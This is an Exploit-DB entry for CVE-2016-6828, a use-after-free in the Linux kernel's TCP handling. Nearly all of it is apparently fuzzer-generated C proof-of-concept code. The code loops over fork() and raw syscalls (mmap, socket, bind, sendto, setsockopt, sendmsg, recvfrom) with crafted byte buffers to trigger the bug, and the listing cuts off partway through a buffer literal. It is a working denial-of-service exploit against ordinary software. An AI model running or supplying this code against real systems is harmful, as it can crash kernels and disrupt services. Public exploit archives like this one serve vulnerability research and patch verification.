Exploit-DB #40731
Description: Linux Kernel - TCP Related Read Use-After-Free
Type: dos
Platform: linux
Date: 2016-08-18
Author: Marco Grassi

Exploit:
// Source: https://marcograss.github.io/security/linux/2016/08/18/cve-2016-6828-linux-kernel-tcp-uaf.html

// to build clang derp4.c -o derp4 -static

#include <unistd.h>
#include <sys/syscall.h>
#include <string.h>
#include <stdint.h>
#include <pthread.h>
#include <stdio.h>

#ifndef SYS_mmap
#define SYS_mmap 9
#endif
#ifndef SYS_socket
#define SYS_socket 41
#endif
#ifndef SYS_bind
#define SYS_bind 49
#endif
#ifndef SYS_sendto
#define SYS_sendto 44
#endif
#ifndef SYS_setsockopt
#define SYS_setsockopt 54
#endif
#ifndef SYS_dup
#define SYS_dup 32
#endif
#ifndef SYS_sendmsg
#define SYS_sendmsg 46
#endif
#ifndef SYS_recvfrom
#define SYS_recvfrom 45
#endif
#ifndef SYS_write
#define SYS_write 1
#endif

long r[62];


int main(int argc, char **argv)
{
    while (1) {
        pid_t pid = fork();

        if (pid == 0) {
        r[0] = syscall(SYS_mmap, 0x20000000ul, 0x20000ul, 0x3ul, 0x32ul, 0xfffffffffffffffful, 0x0ul);
        r[1] = syscall(SYS_socket, 0xaul, 0x1ul, 0x0ul, 0, 0, 0);
        memcpy((void*)0x20006000, "\x0a\x00\xab\x12\xc7\x17\x1c\x83\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x05\x4f\xdc\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 128);
        r[3] = syscall(SYS_bind, r[1], 0x20006000ul, 0x80ul, 0, 0, 0);
        r[4] = syscall(SYS_mmap, 0x20020000ul, 0x1000ul, 0x3ul, 0x32ul, 0xfffffffffffffffful, 0x0ul);
        memcpy((void*)0x20012f5a, "\x25\xf9\x1b\xd4\xeb\xf5\x39\x3c\xd5\x80\xf6\xf0\xd6\xe1\xff\x65\x30\x97\xac\xaf\x1b\xbc\xc8\xae\xa4\x1e\xab\xd8\x60\x51\xcb\x4b\xed\xae\xaa\x37\xda\x80\xf9\x06\xb8\x6b\xdf\x78\x0f\xd0\x87\xf2\x65\x5f\x5e\x85\xb5\x4d\x6b\x48\xff\xf3\x0d\x46\x1c\xe5\xa4\x48\x38\x78\x18\x71\x9b\x75\xc4\xc9\x77\xf2\xc4\x5f\x88\x8e\xd2\x8d\x97\x26\x56\x4c\x93\x31\xbc\x64\x22\xff\xdc\x68\x01\x74\x43\xea\x84\x6f\x1d\x90\xeb\x98\x6c\xe9\x1c\x3b\x72\xab\xa0\xb5\x5b\xe8\xee\xfb\xf3\x2d\x96\xa0\xd4\x13\x55\xbc\xd4\xe0\x41\xfd\x78\x7e\x90\xf9\x9f\x9c\x57\x32\x47\xf2\xcf\x7f\x4a\x7b\x79\x0a\xdd\xb4\xce\xbd\x0b\x44\x02\x95\x0f\xaf\x50\xff\x87\x90\x09\xaa\x94\x01\x41\x43\x08\x8e\xb1", 165);
        memcpy((void*)0x20020000, "\x0a\x00\xab\x12\x0d\xf5\xba\x69\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xac\xad\xce\xa0", 28);
        r[7] = syscall(SYS_sendto, r[1], 0x20012f5aul, 0xa5ul, 0x249e4e54fe149d8cul, 0x20020000ul, 0x1cul);
        *(uint32_t*)0x20001fff = (uint32_t)0x2;
        r[9] = syscall(SYS_setsockopt, r[1], 0x1ul, 0x8ul, 0x20001ffful, 0x4ul, 0);
        r[10] = syscall(SYS_dup, r[1], 0, 0, 0, 0, 0);
        *(uint32_t*)0x20018000 = (uint32_t)0x4;
        r[12] = syscall(SYS_setsockopt, r[1], 0x29ul, 0xbul, 0x20018000ul, 0x4ul, 0);
        *(uint64_t*)0x2000dfc8 = (uint64_t)0x2000e000;
        *(uint32_t*)0x2000dfd0 = (uint32_t)0xc;
        *(uint64_t*)0x2000dfd8 = (uint64_t)0x20000000;
        *(uint64_t*)0x2000dfe0 = (uint64_t)0x1;
        *(uint64_t*)0x2000dfe8 = (uint64_t)0x0;
        *(uint64_t*)0x2000dff0 = (uint64_t)0x0;
        *(uint32_t*)0x2000dff8 = (uint32_t)0x4;
        *(uint16_t*)0x2000e000 = (uint16_t)0x0;
        *(uint16_t*)0x2000e002 = (uint16_t)0x0;
        *(uint32_t*)0x2000e004 = (uint32_t)0xffff;
        *(uint32_t*)0x2000e008 = (uint32_t)0x401;
        *(uint64_t*)0x20000000 = (uint64_t)0x2000ed3a;
        *(uint64_t*)0x20000008 = (uint64_t)0x37;
        *(uint32_t*)0x2000ed3a = (uint32_t)0x14;
        *(uint16_t*)0x2000ed3e = (uint16_t)0x2;
        *(uint16_t*)0x2000ed40 = (uint16_t)0x12;
        *(uint32_t*)0x2000ed42 = (uint32_t)0x1f;
        *(uint32_t*)0x2000ed46 = (uint32_t)0x7;
        *(uint8_t*)0x2000ed4a = (uint8_t)0x6;
        *(uint8_t*)0x2000ed4b = (uint8_t)0x100;
        *(uint8_t*)0x2000ed4c = (uint8_t)0x3f;
        *(uint32_t*)0x2000ed4d = (uint32_t)0x11;
        *(uint16_t*)0x2000ed51 = (uint16_t)0x0;
        *(uint16_t*)0x2000ed53 = (uint16_t)0x808;
        *(uint32_t*)0x2000ed55 = (uint32_t)0x1;
        *(uint32_t*)0x2000ed59 = (uint32_t)0x0;
        *(uint8_t*)0x2000ed5d = (uint8_t)0x0;
        *(uint32_t*)0x2000ed5e = (uint32_t)0x12;
        *(uint16_t*)0x2000ed62 = (uint16_t)0x2ea;
        *(uint16_t*)0x2000ed64 = (uint16_t)0x200;
        *(uint32_t*)0x2000ed66 = (uint32_t)0x5;
        *(uint32_t*)0x2000ed6a = (uint32_t)0xffffffffffffffff;
        *(uint8_t*)0x2000ed6e = (uint8_t)0x9;
        *(uint8_t*)0x2000ed6f = (uint8_t)0x1;
        r[47] = syscall(SYS_sendmsg, r[10], 0x2000dfc8ul, 0x801ul, 0, 0, 0);
        *(uint16_t*)0x20001003 = (uint16_t)0x1;
        *(uint8_t*)0x20001005 = (uint8_t)0x0;
        *(uint32_t*)0x20001007 = (uint32_t)0x9;
        r[51] = syscall(SYS_recvfrom, r[10], 0x20014a91ul, 0xdeul, 0x0ul, 0x20000ffbul, 0x8ul);
        memcpy((void*)0x20015285, "\xed\xe0\xf1\x03\xbd\x1d\xe2\x8d\x13\x62\xc9\x11\xde\x3b\x55\xb1\xb2\x26\x95\xb2\x3f\x32\x96\x8a\x3d\xf7\xd4\x2c\xd9\x32\xae\x05\x9a\x60\x09\xbc\x49\x63\x6a\x45\xd5\x6f\xa8\x4b\xaf\x8a\x66\xf3\x35\xad\xe6\x68\x85\xd4\x7e\xe5\x7c\x7e\x06\xbf\x32\xfb\xf9\xd2\x9f\x40\xa3\x0a\xa0\x93\x09\x73\x39\x7d\xac\x3c\x8d\x83\xe0\x0c\x5e\xa2\x36\x9b\x9c\xb4\x62\xe8\x39\x07\xd8\x71\xc1\x2f\x6f\x18\xfa\x8a\x5d\x06\xb4\x46\xa2\x97\x79\x81\xb2\x85\xd4\x4f\x6b\x48\xc4\xf5\xdd\xa8\x8d\x10\x74\x01\xe1\x58\xb2\x82\x72\xc4\xb6\xb2\xf7\xaa\x90\x9c\x9f\x61\x95\x87\x7b\x99\xc5\xa5\x53\xbc\xab\xdb\xdb\x5e\x32\xb8\xc3\xee\xd3\xda\x7a\xf2\x5c\xc5\x1a\xf1\xd6\x1b\x53\xad\x24\xd0\xa0\xc0\x0d\x73\x9e\x81\x7e\x4e\x82\xf5\xa9\x73\x3c\x7a\x5c\x6e\x4c\x48\x7d\x42\xf5\x2f\x68\xf9\x7e\xa9\xd8\x6a\x64\x78\x08\x7a\x37\xe9\xd3\x81\x15\x34\x63\x63\x14\xb7\x1a\x43\x9b\x4f\x85\xfa\x88\x5c\xe1\x1e\